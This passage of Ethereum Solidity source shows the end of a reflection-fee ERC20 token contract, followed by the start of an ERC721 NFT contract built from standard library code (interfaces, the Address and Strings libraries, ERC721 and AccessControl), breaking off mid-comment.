_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function setMaxTxPercent(uint256 _maxTxPercent) external onlyOwner() {
maxTxAmount = _tTotal.mul(_maxTxPercent).div(
10**3
);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(tx.origin != owner() && sender != owner() && recipient != owner())
require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
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/**
*Submitted for verification at Etherscan.io on 2021-06-21
*/
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
//
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
//
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
//
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
//
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
//
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
//
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
//
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
//
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping (address => bool) members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
